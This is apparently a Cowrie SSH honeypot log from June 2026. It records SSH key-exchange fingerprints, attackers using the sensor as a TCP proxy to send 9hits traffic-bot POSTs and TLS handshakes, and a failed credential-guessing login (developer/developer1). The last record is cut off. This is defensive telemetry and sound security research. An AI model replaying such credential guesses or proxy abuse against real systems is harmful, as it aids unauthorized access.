{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:07.364356Z","src_ip":"91.92.40.36","session":"3db36aa3cb1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.352101Z","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.378152Z","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.419051Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1210\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e09JcGNSL3NLaDh6fXIydw%3D%3Dzr5xT8Y928PnF%2FGqj4zt%2BtBUJ98XKPUPFYHDkgE%2FKt%2By6WyJBJUrLsI2qbhJ1viZTFAV%2Bjf%2FRT%2BZMurUfkO73N6uYE91ybmctntbmE22bdd5I4NRNLNA9ZBAanc%2BJyAPL%2B2hu5rxedqE3eoJzz4vMl0JPZ%2Fnev8PZ6s93C28FK8Qna28ACXfuIG10KidwNKLbR9R684312GkbWdwe6S5de%2BlydhGw6b8IPqfqjT01UpqlEBg9AUntsWZztakrE%2Bti3%2BHScLxlW8mGflsGGpZUvllm03mxMc2WtYMgdorluymvDex9SJ17TKpKkXsFomW9BnneShC0%2FuKQ84tQO%2FZE8XQTCBoyRRdMh%2F0v9kEa6NshZDI683SqCQIIn17tjV%2B2bmgRZlqx4GdMIW2b93CHqRsESILQxNN%2Bm9hhb9TfkcH0xT%2Fkvnu2tQIHEeE%2F3c6eXJsTecAcxLxoutira8%2FMpnySb1TCN2UDc4FA90T1yode%2Bt7RxbH4X2nqgDG2kU3B9uSjSyxjNAFqCQTwVZgpak%2Bk8Cns6vcYNBJSuCGRJ9OTGxo1LLifkszT4TfxOqSG%2Ftah%2BxJupeWlFuu5Ce%2BKD7jENt9QlUXCsK%2FaLrphvB%2F3MWWmqlbIbbm1MCf3sERX989IcoqqTrToG86tuUDqQfXQdnO6w4X%2FZSYJLZ4vNbRbdFgZjc%2BQ8UzYdOM%2BcqWvaSnioyS2D8lfG3YYyicwinWksV%2FzwlegiScdZzxBkJCatK%2BO1S424IHTHezIMARWA0FLFeddVZHbwlGayPdTIRQLGBZO%2FWkuX6MUs0B45WOrrdEi0Kd0sByKq6fhI8dnHenMLjT9YNK2PWXOjKeW25NqK0sOZZnErpffzlfIaM%2FEZAIMITjQ%2FHrOdglsQpTLNrNnyLM1nk%2Fpkohk28g5xUOXotuCXoI1cu%2BLbljNR9l4u0WCNjJHzQtkCUwu33%2BP5%2FEiRQH%2BSyv%2BxPYRD3iBNof6QhC2n7n5U6UdbhLCxZIFATvppKN57ifLYECqrRhKgrr%2BWennL4b%2BV5DEiXBoq1yViemnqKG8%2BRB16r1Z9yiRYjuDBLf%2BjhoPpILsEbr'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1210\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e09JcGNSL3NLaDh6fXIydw%3D%3Dzr5xT8Y928PnF%2FGqj4zt%2BtBUJ98XKPUPFYHDkgE%2FKt%2By6WyJBJUrLsI2qbhJ1viZTFAV%2Bjf%2FRT%2BZMurUfkO73N6uYE91ybmctntbmE22bdd5I4NRNLNA9ZBAanc%2BJyAPL%2B2hu5rxedqE3eoJzz4vMl0JPZ%2Fnev8PZ6s93C28FK8Qna28ACXfuIG10KidwNKLbR9R684312GkbWdwe6S5de%2BlydhGw6b8IPqfqjT01UpqlEBg9AUntsWZztakrE%2Bti3%2BHScLxlW8mGflsGGpZUvllm03mxMc2WtYMgdorluymvDex9SJ17TKpKkXsFomW9BnneShC0%2FuKQ84tQO%2FZE8XQTCBoyRRdMh%2F0v9kEa6NshZDI683SqCQIIn17tjV%2B2bmgRZlqx4GdMIW2b93CHqRsESILQxNN%2Bm9hhb9TfkcH0xT%2Fkvnu2tQIHEeE%2F3c6eXJsTecAcxLxoutira8%2FMpnySb1TCN2UDc4FA90T1yode%2Bt7RxbH4X2nqgDG2kU3B9uSjSyxjNAFqCQTwVZgpak%2Bk8Cns6vcYNBJSuCGRJ9OTGxo1LLifkszT4TfxOqSG%2Ftah%2BxJupeWlFuu5Ce%2BKD7jENt9QlUXCsK%2FaLrphvB%2F3MWWmqlbIbbm1MCf3sERX989IcoqqTrToG86tuUDqQfXQdnO6w4X%2FZSYJLZ4vNbRbdFgZjc%2BQ8UzYdOM%2BcqWvaSnioyS2D8lfG3YYyicwinWksV%2FzwlegiScdZzxBkJCatK%2BO1S424IHTHezIMARWA0FLFeddVZHbwlGayPdTIRQLGBZO%2FWkuX6MUs0B45WOrrdEi0Kd0sByKq6fhI8dnHenMLjT9YNK2PWXOjKeW25NqK0sOZZnErpffzlfIaM%2FEZAIMITjQ%2FHrOdglsQpTLNrNnyLM1nk%2Fpkohk28g5xUOXotuCXoI1cu%2BLbljNR9l4u0WCNjJHzQtkCUwu33%2BP5%2FEiRQH%2BSyv%2BxPYRD3iBNof6QhC2n7n5U6UdbhLCxZIFATvppKN57ifLYECqrRhKgrr%2BWennL4b%2BV5DEiXBoq1yViemnqKG8%2BRB16r1Z9yiRYjuDBLf%2BjhoPpILsEbr'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.422239Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.570739Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03}o>\\xad!\\xa6\\xc8o6u\\x95\\x03\\xb4\\x19N\\xda\\x16?\\xf6\\xbc[c\\x8f\\xe4\\x89\\x0es\\x8a\\x12\\xd5\\xe4K :\\xed\\xcb?\\x11\\x8c\\xe8\\xca\\xa4\\xd4\\x80\\xab\\xb3^^*5\\x02v\\x9b\\x91;\\xbe\\xaea\\xcch\\x84%`\\x05\\x1c\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\n\\x82'\\xf8{\\xddf\\\\\\xe4\\xd8-\\x1a\\xbb\\xe1\\xe8\\xdd\\xc3\\x896>\\xbb7\\x0bF4pv\\x01h\\xc2%\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03}o>\\xad!\\xa6\\xc8o6u\\x95\\x03\\xb4\\x19N\\xda\\x16?\\xf6\\xbc[c\\x8f\\xe4\\x89\\x0es\\x8a\\x12\\xd5\\xe4K :\\xed\\xcb?\\x11\\x8c\\xe8\\xca\\xa4\\xd4\\x80\\xab\\xb3^^*5\\x02v\\x9b\\x91;\\xbe\\xaea\\xcch\\x84%`\\x05\\x1c\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\n\\x82'\\xf8{\\xddf\\\\\\xe4\\xd8-\\x1a\\xbb\\xe1\\xe8\\xdd\\xc3\\x896>\\xbb7\\x0bF4pv\\x01h\\xc2%\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.573952Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.690773Z","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.814708Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcf\\x9d\\x19\\xa7\\xf2&\\xd9\\x19\\x1f\\xc4?\\n\\xed\\x91\\xd0\\x11\\xb3:\\xf2\\xca\\xa1\\xb0\\x8a6H\\x8f\\x85\\xacS\\x06\\x10h \\xe1^\\x9a#\\xd3!\\x1ef\\xd5Y\\xe4\\x03\\xfe\\xe1m\\xd3r:^\\x9c\\xa8\\xe2G\\xfc\\xac\\x18\\x98\\xcaF\\xf0S{\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10\\xc4paH\\x8d\\xf1\\xf4O\\x13\\x7f\\xb6\\xf9\\x1a\\x81\\x15%\\x1d\\xc4\\xb3\\xd0U<\\xa7?\\x8d\\x88\\x96\\xc5\\x84\\xccL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcf\\x9d\\x19\\xa7\\xf2&\\xd9\\x19\\x1f\\xc4?\\n\\xed\\x91\\xd0\\x11\\xb3:\\xf2\\xca\\xa1\\xb0\\x8a6H\\x8f\\x85\\xacS\\x06\\x10h \\xe1^\\x9a#\\xd3!\\x1ef\\xd5Y\\xe4\\x03\\xfe\\xe1m\\xd3r:^\\x9c\\xa8\\xe2G\\xfc\\xac\\x18\\x98\\xcaF\\xf0S{\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10\\xc4paH\\x8d\\xf1\\xf4O\\x13\\x7f\\xb6\\xf9\\x1a\\x81\\x15%\\x1d\\xc4\\xb3\\xd0U<\\xa7?\\x8d\\x88\\x96\\xc5\\x84\\xccL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.827472Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1","message":"login attempt [developer/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:11.964188Z","src_ip":"91.92.40.36","session":"3db36aa3cb1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:12.538697Z","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:12.542569Z","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:12.586772Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T510 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 